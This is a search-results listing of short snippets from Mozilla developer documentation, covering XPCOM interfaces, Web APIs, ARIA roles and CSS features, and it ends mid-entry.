this function is called on a chromemessagesender: it will load the process script only into
this chromemessagesender's child process aallowdelayedload should always be true.
...And 5 more matches
nsIProgressEventSink
netwerk/base/public/nsiprogresseventsink.idlscriptable
this interface is used to asynchronously convey channel status and progress information that is generally not critical to the processing of the channel.
... inherits from: nsisupports last changed in gecko 1.7
this interface is used to asynchronously convey channel status and progress information that is generally not critical to the processing of the channel.
...an implementation of
this interface can be passed to a channel via the channel's notificationcallbacks attribute.
...And 5 more matches
nsIPushSubscription
sending a post request to
this url routes the message to the instance of firefox that created the subscription.
...
this interface resembles pushsubscription from the push api.
... pushcount long long the total number of messages sent to
this subscription.
...And 5 more matches
nsIResumableChannel
netwerk/base/public/nsiresumablechannel.idlscriptable
this interface is meant to be implemented by the channels that support resuming broken downloads (for example necko's html and ftp channels).
... changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void asyncopenat(in nsistreamlistener listener, in nsisupports ctxt, in unsigned long startpos, in nsiresumableentityid entityid); obsolete since gecko 1.8 void resumeat(in unsigned long long startpos, in acstring entityid); attributes attribute type description entityid acstring the entity id for
this uri.
...exceptions thrown ns_error_not_resumable if
this load is not resumable.
...And 5 more matches
nsIScriptableUnescapeHTML
parser/html/nsiscriptableunescapehtml.idlscriptable
this interface is a utility interface that exposes the kind of markup parser behavior that the feed service needs.
... 1.0 66 introduced gecko 1.8 obsolete gecko 14.0 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) note: as of firefox 14,
this interface is obsolete (but still available for compatibility with legacy extensions) and all its functionality is available with more configuration options via the nsiparserutils interface.
...
this is equivalent to calling nsiparserutils::parsefragment(fragment, 0, isxml, baseuri, element).
...And 5 more matches
nsIServiceManager
xpcom/components/nsiservicemanager.idlscriptable
this interface provides a means to obtain global services in an application.
...ef aclass, in nsiidref aiid, [iid_is(aiid),retval] out nsqiresult result); void getservicebycontractid(in string acontractid, in nsiidref aiid, [iid_is(aiid),retval] out nsqiresult result); boolean isserviceinstantiated(in nscidref aclass, in nsiidref aiid); boolean isserviceinstantiatedbycontractid(in string acontractid, in nsiidref aiid); methods getservice()
this method returns a reference to a particular xpcom service given the classid of the service.
... unlike createinstance,
this will always return the same object each time it is called with the same arguments.
...And 5 more matches
nsISocketTransportService
netwerk/base/public/nsisockettransportservice.idlscriptable
this interface provides a mapping between a socket type and its associated socket provider instance.
...
this will fail with the error code ns_error_not_available if the maximum number of sockets is already reached.
... in
this case, the notifywhencanattachsocket() method should be used.
...And 5 more matches
nsITextInputProcessorCallback
this interface has a "function" attribute.
... therefore, js-ime can implement
this as a function.
...pleime = { _hasfocus: false, _hasrightstocompose: false, _tip: null, _callback: function simpleime_callback(atip, anotification) { try { switch (anotification.type) { case "request-to-commit": atip.commitcomposition(); break; case "request-to-cancel": atip.cancelcomposition(); break; case "notify-focus":
this._hasfocus = true; break; case "notify-blur":
this._hasfocus = false; break; case "notify-detached":
this._hasfocus = false;
this._hasrightstocompose = false; break; } return true; } catch (e) { return false; } }, setcomposition: function simpleime_setcomposition(atext, aclauses, acaret) { ...
...And 5 more matches
nsIUploadChannel
netwerk/base/public/nsiuploadchannel.idlscriptable a channel may optionally implement
this interface if it supports the notion of uploading a data stream.
... inherits from: nsisupports last changed in gecko 1.7 method overview void setuploadstream(in nsiinputstream astream, in acstring acontenttype, in long acontentlength); attributes attribute type description uploadstream nsiinputstream get the stream (to be) uploaded by
this channel.
... methods setuploadstream() sets a stream to be uploaded by
this channel.
...And 5 more matches
nsIXmlRpcClient
warning:
this interface was removed from firefox 3 and is no longer available.
... extensions/xml-rpc/idl/nsixmlrpcclient.idlscriptable please add a summary to
this article.
...ult); void asynccall (in nsixmlrpcclientlistener listener, in nsisupports ctxt, in string methodname, in nsisupports arguments, in pruint32 count); attributes attribute type description serverurl readonly nsiurl the url of the xml-rpc server inprogress readonly boolean whether or not a call is in progress fault readonly nsixmlrpcfault the most recent xml-rpc fault from returned from
this server.
...And 5 more matches
Building a Thunderbird extension 5: XUL
warning:
this content is for older versions of thunderbird.
...to view
this xul file use the dom inspector extension (no longer supported) or look inside the omni.ja archive, which is located in the thunderbird program folder.
...in messenger.xul we find the status bar, which looks something like
this.: <statusbar id="status-bar" ...> ...
...And 5 more matches
Demo Addon
warning:
this content is for older versions of thunderbird.
... overview
this demo add-on has been created by jonathan protzenko for his presentation at mozcamp 2011.
... the basics the interesting parts covered in
this article are in the content folder.
...And 5 more matches
Library
you need to call
this once you're done using the library.
...
this can be used both for exported data symbols and for functions.
... cdata declare( name[, abi, returntype argtype1, ...] ); parameters name the name of the symbol exported by the native library that is to be declared as usable from javascript abi the abi used by the exported function;
this will be ctypes.default_abi for most libraries, except for windows libraries, which will be ctypes.winapi_abi or ctypes.stdcall_abi.
...And 5 more matches
Tutorial: Set a breakpoint - Firefox Developer Tools
this page shows how you can try out the debugger api yourself using firefox’s scratchpad.
...
this tutorial was tested against firefox 58 beta and nightly.
...to do
this, open the firefox developer tools, click on the options gear at the upper right of the toolbox, and make sure that both “enable browser chrome and add-on debugging toolboxes” and “enable remote debugging” are checked.
...And 5 more matches
All keyboard shortcuts - Firefox Developer Tools
this page lists all keyboard shortcuts used by the developer tools built into firefox.
... because access keys are locale-dependent, they're not documented in
this page.
...unlike the other toolbox-hosted tools,
this shortcut does not also close the web console.
...And 5 more matches
Responsive Design Mode - Firefox Developer Tools
orientation (portrait or landscape) -
this setting persists between sessions screenshots are saved to firefox's default download location.
...while touch event simulation is enabled, mouse events are translated into touch events;
this includes (starting in firefox 79) translating a mouse-drag event into a touch-drag event.
... (note that when touch simulation is enabled,
this toolbar icon is blue; when simulation is disabled, it is black.
...And 5 more matches
AudioNode.connect() - Web APIs
this makes fan-out possible.
...
this is allowed only if there is at least one delaynode in the cycle.
...
this parameter is not allowed if the destination is an audioparam.
...And 5 more matches
ByteLengthQueuingStrategy - Web APIs
browser compatibility the compatibility table on
this page is generated from structured data.
...for androidopera for androidsafari on iossamsung internetbytelengthqueuingstrategy experimentalchrome full support 59edge full support 16firefox full support 57disabled full support 57disabled disabled from version 57:
this feature is behind the dom.streams.enabled preference (needs to be set to true) and the javascript.options.streams preference (needs to be set to true).
... webview android full support 59chrome android full support 59firefox android full support 57disabled full support 57disabled disabled from version 57:
this feature is behind the dom.streams.enabled preference (needs to be set to true) and the javascript.options.streams preference (needs to be set to true).
...And 5 more matches
CanvasRenderingContext2D.drawWindow() - Web APIs
this api cannot be used by web content.
...
this color may be transparent/translucent.
...
this means hardware acceleration may be used, but it might actually be slower or lower quality than normal.
...And 5 more matches
CloseEvent - Web APIs
this is delivered to the listener indicated by the websocket object's onclose attribute.
... properties
this interface also inherits properties from its parent, event.
...
this is a generic status code, used when codes 1003 and 1009 are not suitable.
...And 5 more matches
CountQueuingStrategy - Web APIs
browser compatibility the compatibility table on
this page is generated from structured data.
...efox for androidopera for androidsafari on iossamsung internetcountqueuingstrategy experimentalchrome full support 59edge full support 16firefox full support 57disabled full support 57disabled disabled from version 57:
this feature is behind the dom.streams.enabled preference (needs to be set to true) and the javascript.options.streams preference (needs to be set to true).
... webview android full support 59chrome android full support 59firefox android full support 57disabled full support 57disabled disabled from version 57:
this feature is behind the dom.streams.enabled preference (needs to be set to true) and the javascript.options.streams preference (needs to be set to true).
...And 5 more matches
DOMException - Web APIs
this is basically how error conditions are described in web apis.
...
this field is used for historical reasons.
... new dom exceptions don't use
this anymore: they put
this info in the domexception.name attribute.
...And 5 more matches
DataTransfer.clearData() - Web APIs
if data for the given type does not exist,
this method does nothing.
... if
this method is called with no arguments or the format is an empty string, the data of all types will be removed.
...
this method does not remove files from the drag operation, so it's possible for there still to be an entry with the type "files" left in the object's datatransfer.types list if there are any files included in the drag.
...And 5 more matches
DirectoryReaderSync - Web APIs
this interface has been abandonned: it was on a standard track and it proves not a good idea.
... about
this document
this document was last updated on march 2, 2012 and follows the w3c specifications (working draft) drafted on april 19, 2011.
...
this specification is pretty much abandoned, having failed to reach any substantial traction.
...And 5 more matches
Element: click event - Web APIs
this counter resets after a short interval without any clicks occurring; the specifics of how long that interval is may vary from browser to browser and across platforms.
... the interval is also likely to be affected by user preferences; for example, accessibility options may extend
this interval to make it easier to perform multiple clicks with adaptive interfaces.
...see
this live example for a demonstration.
...And 5 more matches
Element: mousewheel event - Web APIs
important: instead of
this obsolete event, use the standard wheel event.
...
this means that the delta value sign is different from dom level 3 event's wheel.
...
this makes the same behavior as ie and chrome for windows.
...And 5 more matches
Element.msZoomTo() - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
...
this proprietary method is specific to internet explorer and microsoft edge.
...the scroll/zoom operation attempts to align
this point with the contentx point.
...And 5 more matches
Element - Web APIs
this change is implemented in chrome since version 46.0 and firefox since version 48.0.
...
this can be used to watch both for successful expected transitions, but also to watch for unexpected changes, such as when your app is running in the background.
... eventtarget.dispatchevent() dispatches an event to
this node in the dom and returns a boolean that indicates whether no handler canceled the event.
...And 5 more matches
FileReaderSync - Web APIs
this interface is only available in workers as it enables synchronous i/o that could potentially block.
... properties
this interface does not have any properties.
... methods filereadersync.readasarraybuffer()
this method converts a specified blob or a file into an arraybuffer representing the input data as a binary string.
...And 5 more matches
File and Directory Entries API - Web APIs
because
this is a non-standard api, whose specification is not currently on a standards track, it's important to keep in mind that not all browsers implement it, and those that do may implement only small portions of it.
...
this is implemented by other interfaces which represent files or directories.
... filesystemdirectoryreader created by calling filesystemdirectoryentry.createreader(),
this interface provides the functionality which lets you read the contents of a directory.
...And 5 more matches
Using the Frame Timing API - Web APIs
this means the browser should process a frame in about 16.7ms.
...
this data can be used to help identify areas that take too long to provide a good user experience.
...
this document describes how to use the performanceframetiming interfaces including example code.
...And 5 more matches
HTMLCanvasElement - Web APIs
if no [separate] css height is assigned to the <canvas>, then
this value will also be used as the height of the canvas in the length-unit css pixel.
...if no [separate] css width is assigned to the <canvas>, then
this value will also be used as the width of the canvas in the length-unit css pixel.
...
this is only supported in mozilla-based browsers; use the standardized canvas.getcontext('2d', { alpha: false }) instead.
...And 5 more matches
HTMLMediaElement.play() - Web APIs
this may happen, for example, if the browser requires the user to explicitly start media playback by clicking a "play" button.
...web sites should be prepared to handle
this situation.
... example
this example demonstrates how to confirm that playback has begun and how to gracefully handle blocked automatic playback: let videoelem = document.getelementbyid("video"); let playbutton = document.getelementbyid("playbutton"); playbutton.addeventlistener("click", handleplaybutton, false); playvideo(); async function playvideo() { try { await videoelem.play(); playbutton.classlist.add("pl...
...And 5 more matches
HTMLOutputElement - Web APIs
tmloutputelement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmloutputelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface also inherits properties from its parent, htmlelement.
...
this is the empty string if the control is not a candidate for constraint validation (willvalidate is false), or it satisfies its constraints.
... htmloutputelement.validityread only a validitystate representing the validity states that
this element is in.
...And 5 more matches
History - Web APIs
for example, for a page loaded in a new tab
this property returns 1.
...
this property can be either auto or manual.
...
this is a way to look at the state without having to wait for a popstate event.
...And 5 more matches
IDBCursor.direction - Web APIs
note:
this feature is available in web workers.
...possible values are: value description next
this direction causes the cursor to be opened at the start of the source.
... nextunique
this direction causes the cursor to be opened at the start of the source.
...And 5 more matches
IDBDatabase.createObjectStore() - Web APIs
this method can be called only within a versionchange transaction.
... note:
this feature is available in web workers.
... exceptions
this method may raise a domexception with a domerror of one of the following types: exception description invalidstateerror occurs if the method was not called from a versionchange transaction callback.
...And 5 more matches
IDBIndex.getKey() - Web APIs
the getkey() method of the idbindex interface returns an idbrequest object, and, in a separate thread, finds either the primary key that corresponds to the given key in
this index or the first corresponding primary key, if key is set to an idbkeyrange.
...note that
this doesn't return the whole record as idbindex.get does.
... note:
this feature is available in web workers.
...And 5 more matches
IDBIndex.openKeyCursor() - Web APIs
the openkeycursor() method of the idbindex interface returns an idbrequest object, and, in a separate thread, creates a cursor over the specified key range, as arranged by
this index.
...
this makes obtaining a list of keys much more efficient.
... note:
this feature is available in web workers.
...And 5 more matches
IDBObjectStore.clear() - Web APIs
the clear() method of the idbobjectstore interface creates and immediately returns an idbrequest object, and clears
this object store in a separate thread.
...
this is for deleting all the current data out of an object store.
... note:
this feature is available in web workers.
...And 5 more matches
IDBObjectStore.get() - Web APIs
this is for retrieving specific records from an object store.
... note:
this method produces the same result for: a) a record that doesn't exist in the database and b) a record that has an undefined value.
... note:
this feature is available in web workers.
...And 5 more matches
IDBObjectStore.openCursor() - Web APIs
note:
this feature is available in web workers.
...if a single valid key is passed,
this will default to a range containing only that key.
... if nothing is passed,
this will default to a key range that selects all the records in
this object store.
...And 5 more matches
IDBTransaction.objectStore() - Web APIs
the objectstore() method of the idbtransaction interface returns an object store that has already been added to the scope of
this transaction.
... every call to
this method on the same transaction object, with the same name, returns the same idbobjectstore instance.
... if
this method is called on a different transaction object, a different idbobjectstore instance is returned.
...And 5 more matches
KeyboardEvent.key - Web APIs
this completes the process.
...as we keep holding
this key, the keydown event does not continue to fire repeatedly because it does not produce a character key.
... when key 2 is pressed, another keydown event is fired for
this new key press, and the key property value for the event is set to the string @ for the u.s keyboard type and " for the uk keyboard type, because of the active modifier shift key.
...And 5 more matches
LocalFileSystem - Web APIs
basic concepts
this section includes a few key concepts for the methods.
...to learn more, see
this stackoverflow answer.
...
this means that your app cannot read, or write the files of another app's files.
...And 5 more matches
MediaDevices.ondevicechange - Web APIs
this happens whenever the set of media devices available to the user agent and, by extension, to the web site or app has changed.
... example in
this example, we create a function called updatedevicelist(), which is called once when mediadevices.getusermedia() successfully obtains a stream, and then is called any time the device list changes.
...dding-bottom: 4px; color: white; background-color: darkgreen; } h2 { margin-bottom: 4px; } .left { float:left; width: 48%; margin-right: 2% } .right { float:right; width: 48%; margin-left: 2% } .devicelist { border: 1px solid black; list-style-type: none; margin-top: 2px; padding: 6px; } javascript content other code below is other code which, while needed to make
this example work, isn'tt related directly to ondevicechange, so we won't go into any detail.
...And 5 more matches
MediaStreamAudioSourceNode - Web APIs
this media could be from a microphone (through getusermedia()) or from a remote peer on a webrtc call (using the rtcpeerconnection's audio tracks).
... mediastream read only the mediastream used when constructing
this mediastreamaudiosourcenode.
... usage notes typically, you should probably not use
this type of node.
...And 5 more matches
Using Navigation Timing - Web APIs
for example, to measure the perceived loading time for a page: window.addeventlistener("load", function() { let now = new date().gettime(); let loadingtime = now - performance.timing.navigationstart; document.queryselector(".output").innertext = loadingtime + " ms"; }, false);
this code, executed when the load event occurs, subtracts from the current time the time at which the navigation whose timing was recorded began (performance.timing.navigationstart), and outputs that information to the screen by inserting it into an element.
...in particular, you need to know: was
this a load or a reload?
... was
this a navigation or a move forward or backward through history?
...And 5 more matches
Web-based protocol handlers - Web APIs
you can think of
this as a desktop-based protocol handler.
...
this is becoming more important as more types of applications migrate to the web.
... when a browser executes
this code, it should display a prompt to the user, asking permission to allow the web application to register as a handler for the protocol.
...And 5 more matches
Navigator.registerProtocolHandler() - Web APIs
for example,
this api lets webmail sites open mailto: urls, or voip sites open tel: urls.
... syntax navigator.registerprotocolhandler(scheme, url, title); note: recently updated to navigator.registerprotocolhandler(scheme, url), but no browsers currently support
this version.
...
this url must include %s, as a placeholder that will be replaced with the escaped url to be handled.
...And 5 more matches
PaymentRequest.show() - Web APIs
note: in reality, despite the fact that the specification says
this can't be done, some browsers, including firefox, support multiple active payment requests at a time.
...if
this is provided, show() will not allow the user to interact with the payment interface until the promise is fulfilled, so that data can be updated prior to the user engaging with the payment process.
... invalidstateerror the promise rejects with an invalidstateerror if the same payment has already been shown for
this request (its state is interactive because it is being shown already).
...And 5 more matches
Payment processing concepts - Web APIs
in
this article, we'll take a look at how the api operates and what each of its components does.
...should have an article about
this specification and how to use it.
...
this is currently supported only by chrome and chromium-based browsers.
...And 5 more matches
PerformanceTiming - Web APIs
this interface is deprecated in the navigation timing level 2 specification.
...if there is no previous document,
this value will be the same as performancetiming.fetchstart.
...
this moment is before the check to any application cache.
...And 5 more matches
Web Push API Notifications best practices - Web APIs
this article provides a useful summary of best practices to keep in mind when developing web sites and applications that use push notifications for user engagement.
... but really, is
this the best use of push notifications?
... in
this document, we’ll talk about the ethical use of web push notifications.
...And 5 more matches
Push API - Web APIs
this lets developers deliver asynchronous notifications and updates to users that opt in, resulting in better engagement with timely new content.
...
this allows apps to react to push messages being received, for example, by displaying a notification (using serviceworkerregistration.shownotification().) each subscription is unique to a service worker.
...different browsers have different schemes for handling
this, there is currently no standard mechanism.
...And 5 more matches
RTCIceCandidateStats - Web APIs
this value may be an ipv4 address, an ipv6 address, or a fully-qualified domain name.
...
this property was previously named ip and only accepted ip addresses.
...
this property is not present for remote candidates.
...And 5 more matches
RTCPeerConnection() - Web APIs
this must be one of the values from the enum rtcbundlepolicy.
... if
this value isn't included in the dictionary, "balanced" is assumed.
...if
this property isn't specified, a set of certificates is generated automatically for each rtcpeerconnection instance.
...And 5 more matches
RTCPeerConnection.getStats() - Web APIs
if
this is null (the default value), statistics will be gathered for the entire rtcpeerconnection.
... exceptions
this method does not throw exceptions; instead, it rejects the returned promise with one of the following errors: invalidaccesserror there is no rtcrtpsender or rtcrtpreceiver whose track matches the specified selector, or selector matches more than one sender or receiver.
...
this version of getstats() is obsolete; in addition, the data it returns is entirely different from the current specification, and the form of that data was never documented.
...And 5 more matches
RTCPeerConnection.setConfiguration() - Web APIs
this lets you change the ice servers used by the connection and which transport policies to use.
... the most common use case for
this method (and even then, probably not a very common use case) is to replace the set of ice servers to be used.
... two potential scenarios in which
this might be done: the rtcpeerconnection was instantiated without specifying any ice servers.
...And 5 more matches
RTCPeerConnection.setLocalDescription() - Web APIs
this description specifies the properties of the local end of the connection, including the media format.
...they're interchangeable: mypeerconnection.createoffer().then(function(offer) { return mypeerconnection.setlocaldescription(offer); });
this is equivalent to: mypeerconnection.createoffer().then(function(offer) { return mypeerconnection.setlocaldescription(new rtcsessiondescription(offer)); }); for
this reason, the rtcsessiondescription() constructor is deprecated.
...see pending and current descriptions in webrtc connectivity for more details on
this process.
...And 5 more matches
SVGLength - Web APIs
it is invalid to attempt to define a new value of
this type or to attempt to switch an existing value to
this type.
... properties name type description unittype unsigned short the type of the value as specified by one of the svg_lengthtype_* constants defined on
this interface.
...setting
this attribute will cause valueinspecifiedunits and valueasstring to be updated automatically to reflect
this setting.
...And 5 more matches
SubtleCrypto.digest() - Web APIs
supported values are: sha-1 (but don't use
this in cryptographic applications) sha-256 sha-384 sha-512.
... sha-1
this algorithm is specified in fips 180-4, section 6.1, and produces an output 160 bits long.
... warning:
this algorithm is now considered vulnerable and should not be used for cryptographic applications.
...And 5 more matches
Touch - Web APIs
this can be helpful when dealing with imprecise pointing devices such as fingers.
...
this may also be the case for radiusx and radiusy; if the hardware reports only a single point, these values will be 1.
... properties
this interface has no parent, and doesn't inherits or implements any other property.
...And 5 more matches
TouchEvent - Web APIs
this surface can be a touch screen or trackpad, for example.
... properties
this interface inherits properties from its parent, uievent and event.
... touchevent.changedtouches read only a touchlist of all the touch objects representing individual points of contact whose states changed between the previous touch event and
this one.
...And 5 more matches
Multi-touch interaction - Web APIs
the application described in
this guide shows how to use touch events for simple single and multi-touch interactions, the basics needed to build application-specific gestures.
... a live version of
this application is available on github.
... example
this example demonstrates using the touchstart, touchmove, touchcancel, and touchend) touch events for the following gestures: single touch, two (simultaneous) touches, more than two simultaneous touches, 1-finger swipe, and 2-finger move/pinch/swipe.
...And 5 more matches
WebGLRenderingContext.getUniformLocation() - Web APIs
the name can't have any whitespace in it, and you can't use
this function to get the location of any uniforms starting with the reserved string "gl_", since those are internal to the webgl layer.
...with
this value in hand, you can call other webgl methods to access the value of the uniform variable.
... example in
this example, taken from the animatescene() method in the article a basic 2d webgl animation example, obtains the locations of three uniforms from the shading program, then sets the value of each of the three uniforms.
...And 5 more matches
Creating 3D objects using WebGL - Web APIs
to do
this efficiently, we're going to switch from drawing using the vertices directly by calling the gl.drawarrays() method to using the vertex array as a table, and referencing individual vertices in that table to define the positions of each face's vertices, by calling gl.drawelements().
...
this example uses the glmatrix library to perform its matrix and vertex math.
... you'll need to include it if you create your own project based on
this code.
...And 5 more matches
Using shaders to apply color in WebGL - Web APIs
we can do
this by revising the shaders.
...
this example uses the glmatrix library to perform its matrix and vertex math.
... you'll need to include it if you create your own project based on
this code.
...And 5 more matches
Introduction to WebRTC protocols - Web APIs
this article introduces the protocols on top of which the webrtc api is built.
...ice uses stun and/or turn servers to accomplish
this, as described below.
...
this can mean that even though we have the public ip address found by the stun server, not anyone can create a connection.
...And 5 more matches
Visualizations with Web Audio API - Web APIs
this article explains how, and provides a couple of basic use cases.
... basic concepts to extract data from your audio source, you need an analysernode, which is created using the audiocontext.createanalyser() method, for example: var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var analyser = audioctx.createanalyser();
this node is then connected to your audio source at some point between your source and your destination, for example: source = audioctx.createmediastreamsource(stream); source.connect(analyser); analyser.connect(distortion); distortion.connect(audioctx.destination); note: you don't need to connect the analyser's output to another node for it to work, as long as the input is connected to the source, either directly or v...
...we return the analysernode.frequencybincount value, which is half the fft, then call uint8array() with the frequencybincount as its length argument —
this is how many data points we will be collecting, for that fft size.
...And 5 more matches
Window.customElements - Web APIs
examples the most common example you'll see of
this property being used is to get access to the customelementregistry.define() method to define and register a new custom element, e.g.: let customelementregistry = window.customelements; customelementregistry.define('my-custom-element', mycustomelement); however, it is usually shortened to something like the following: customelements.define('element-details', class extends htmlelement { constructor() { super(); const template = document .getelementbyid('element-details-template') ...
... .content; const shadowroot =
this.attachshadow({mode: 'open'}) .appendchild(template.clonenode(true)); } } ); see our web-components-examples repo for more usage examples.
... browser compatibility the compatibility table in
this page is generated from structured data.
...And 5 more matches
Window.window - Web APIs
this means: global variables of your script are in fact properties of window: var global = {data: 0}; alert(global === window.global); // displays "true" you can access built-in properties of the window object without having to type window.
...otherwise, you'd have to do a manual var window =
this; assignment at the top of your script.
... another reason, is that without
this property you wouldn't be able to write, for example, "window.open('http://google.com/')".
...And 5 more matches
WindowOrWorkerGlobalScope.fetch() - Web APIs
syntax const fetchresponsepromise = fetch(resource [, init]) parameters resource
this defines the resource that you wish to fetch.
...
this can either be: a usvstring containing the direct url of the resource you want to fetch.
... (
this behavior was corrected in firefox 65 — see bug 1508661).
...And 5 more matches
init() - Web APIs
warning:
this method must not be called from javascript.
... [noscript] void init( in nsiprincipal principal, in nsiscriptcontext scriptcontext, in nsiglobalobject globalobject, in nsiuri baseuri, [optional] in nsiloadgroup loadgroup ); parameters principal the principal to use for the request;
this must not be null.
... scriptcontext the script context to use for the request;
this must not be null.
...And 5 more matches
Using the alert role - Accessibility
description
this technique demonstrates how to use the alert role and describes the effect it has on browsers and assistive technology.
...when
this role is added to an element, the browser will send out an accessible alert event to assistive technology products which can then notify the user about it.
... note: opinons may differ on how assistive technology should handle
this technique.
...And 5 more matches
ARIA: article role - Accessibility
</div>
this example shows two articles side by side on one page that could be structured similarly and are related.
... if an article is part of a feed, it can have the aria-posinset and aria-setsize attributes set to indicate which position within the feed
this particular article represents.
...user agents translate
this to the appropriate accessibility information just like the article role.
...And 5 more matches
ARIA: switch role - Accessibility
the aria switch role is functionally identical to the checkbox role, except that instead of representing "checked" and "unchecked" states, which are fairly generic in meaning, the switch role represents the states "on" and "off."
this example creates a widget and assigns the aria switch role to it.
...if the role is applied to a non-focusable element, use the tabindex attribute to change
this.
... possible effects on user agents and assistive technology when the switch role is added to an element, the user agent handles it like
this: the element is exposed to the system's accessibility infrastructure as having the switch role.
...And 5 more matches
ARIA: heading role - Accessibility
the heading role defines
this element as a heading to a page or section.
... <div role="heading" aria-level="1">
this is a main page heading</div>
this defines the text in the div to be the main heading of the page, indicated by being level 1 via the aria-level attribute.
... description the heading role indicates to assistive technologies that
this element should be treated like a heading.
...And 5 more matches
Web accessibility for seizures and physical reactions - Accessibility
this article introduces concepts behind making web content accessibile for those with vestibular disorders, and how to measure and prevent content leading to seizures and / or other physical reactions.
... button { animation: vibrate 0.3s linear infinite both; } @media (prefers-reduced-motion: reduce) { button { animation: none; } } prefers-color-scheme
this can be useful if the ambient light api is not available.
... "
this effect is noticable, and documented, up to 70 hz." "these studies would seem to indicate that you should stay away from refresh rates under 70 hz, and use a rate not divisible by 10." eric bailey, of css-tricks, found an innovative use the update feature which, used in combination with animation-duration or transition-duration, to conclude at a rate that is imperceptible to the human eye.
...And 5 more matches
Accessibility
when the web meets
this goal, it is accessible to people with a diverse range of hearing, movement, sight, and cognitive ability." (w3c - accessibility) key tutorials the mdn accessibility learning area contains modern, up-to-date tutorials covering accessibility essentials: what is accessibility?
...
this article starts off the module with a good look at what accessibility actually is —
this includes what groups of people we need to consider and why, what tools different people use to interact with the web, and how we can make accessibility part of our web development workflow.
...
this article looks in detail at how html can be used to ensure maximum accessibility.
...And 5 more matches
:host() - CSS: Cascading Style Sheets
the most obvious use of
this is to put a class name only on certain custom element instances, and then include the relevant class selector as the function argument.
... you can't use
this with a descendant selector expression to select only instances of the custom element that are inside a particular ancestor.
... note:
this has no effect when used outside a shadow dom.
...And 5 more matches
:host - CSS: Cascading Style Sheets
the :host css pseudo-class selects the shadow host of the shadow dom containing the css it is used inside — in other words,
this allows you to select a custom element from inside its shadow dom.
... note:
this has no effect when used outside a shadow dom.
... in
this example we have a simple custom element — <context-span> — that you can wrap around text: <h1>host selectors <a href="#"><context-span>example</context-span></a></h1> inside the element's constructor, we create style and span elements, fill the span with the content of the custom element, and fill the style element with some css rules: let style = document.createelement('style'); let span = document.createelement('span'); span.textcontent =
this.textcontent; const shadowroot =
this.attachshadow({mode: 'open'}); shadowroot.appendchild(style); shadowroot.appendchild(span); sty...
...And 5 more matches
@font-face - CSS: Cascading Style Sheets
since firefox 61 (and in other modern browsers)
this also accepts two values to specify a range that is supported by a font-face, for example font-stretch: 50% 200%; font-style a font-style value.
... since firefox 61 (and in other modern browsers)
this also accepts two values to specify a range that is supported by a font-face, for example font-style: oblique 20deg 50deg; font-weight a font-weight value.
... since firefox 61 (and in other modern browsers)
this also accepts two values to specify a range that is supported by a font-face, for example font-weight: 100 400; font-variant a font-variant value.
...And 5 more matches
@supports - CSS: Cascading Style Sheets
this is called a feature query.
...:is()) /*
this rule won't be applied in browsers which don't support :is() */ :is(ul, ol) > li { … /* css applied when the :is(…) selector is supported */ } @supports not selector(:is(a, b)) { /* fallback for when :is() is unsupported */ ul > li, ol > li { … /* the above expanded for browsers which don't support :is(…) */ } } @supports selector(:nth-child(1n of a, b)) { /*
this rule ne...
... browser compatibility the compatibility table on
this page is generated from structured data.
...And 5 more matches
CSS Animations tips and tricks - CSS: Cascading Style Sheets
this article is a collection of tips and tricks we've found that may make your work easier, including how to run a stopped animation again.
... note that because of
this, the box doesn't start with any animation effects in place, so it won't be animating.
...the meat of
this technique is in the play() function, which is called when the user clicks on the "run" button.
...And 5 more matches
Spanning and Balancing Columns - CSS: Cascading Style Sheets
in
this guide we look at how to make elements span across columns inside the multicol container and how to control how the columns are filled.
... note the spanning and balancing functionality covered in
this guide is not as well supported across browsers as the functionality covered in the previous two sections in
this guide.
...
this will cause the element to span all of the columns.
...And 5 more matches
The stacking context - CSS: Cascading Style Sheets
html elements occupy
this space in priority order based on element attributes.
... the stacking context in the previous part of
this article, using z-index, the rendering order of certain elements is influenced by their z-index value.
...
this occurs because these elements have special properties which cause them to form a stacking context.
...And 5 more matches
Card - CSS: Cascading Style Sheets
this pattern is a list of "card" components with optional footers.
... recipe download
this example choices made the card is laid out using css grid layout despite being a single dimensional layout, as it enables the use of content sizing for the grid tracks.
...
this means it will take up any additional space.
...And 5 more matches
Column layouts - CSS: Cascading Style Sheets
you will often need to create a layout which has a number of columns, and css provides several ways to do
this.
... whether you use grid, flexbox or multi-column layout will depend on what you are trying to achieve, and in
this recipe we explore these options.
... download
this example use multicol when: you want your text to display in newspaper-like columns.
...And 5 more matches
aspect-ratio - CSS: Cascading Style Sheets
this property is not yet implemented in browsers, however some browsers are implementing
this internally in order to provide the aspect ratio mapping described below.
...
this appears in the browser's internal ua stylesheet.
... chrome is also shipping
this feature.
...And 5 more matches
box-sizing - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...if the element has any border or padding,
this is then added to the width and height to arrive at the size of the box that's rendered on the screen.
...
this means that when you set width and height, you have to adjust the value you give to allow for any border or padding that may be added.
...And 5 more matches
contain - CSS: Cascading Style Sheets
this allows the browser to recalculate layout, style, paint, size, or any combination of them for a limited area of the dom and not the entire page, leading to obvious performance benefits.
...
this property is useful on pages that contain a lot of widgets that are all independent, as it can be used to prevent each widget's internals from having side effects outside of the widget's bounding-box.
... note: if applied (with value: paint, strict or content),
this property creates: a new containing block (for the descendants whose position property is absolute or fixed).
...And 5 more matches
content - CSS: Cascading Style Sheets
/* keywords that cannot be combined with other values */ content: normal; content: none; /* <image> values */ content: url("http://www.example.com/test.png"); content: linear-gradient(#e66465, #9198e5); /* alt text for generated content, added in the level 3 specification */ content: url("http://www.example.com/test.png") / "
this is the alt text"; /* values below can only be applied to generated content using ::before and ::after */ /* <string> value */ content: "prefix"; /* <counter> values */ content: counter(chapter_counter); content: counters(section_counter, "."); /* attr() value linked to the html attribute value */ content: attr(value string); /* language- and position-dependent keywords */ content: open-quote...
...
this value can be any number of text characters.
...because of
this, it will not be represented in the accessibility tree and certain assistive technology/browser combinations will not announce it.
...And 5 more matches
element() - CSS: Cascading Style Sheets
this image is live, meaning that if the html element is changed, the css properties using the resulting value are automatically updated.
... a particularly useful scenario for using
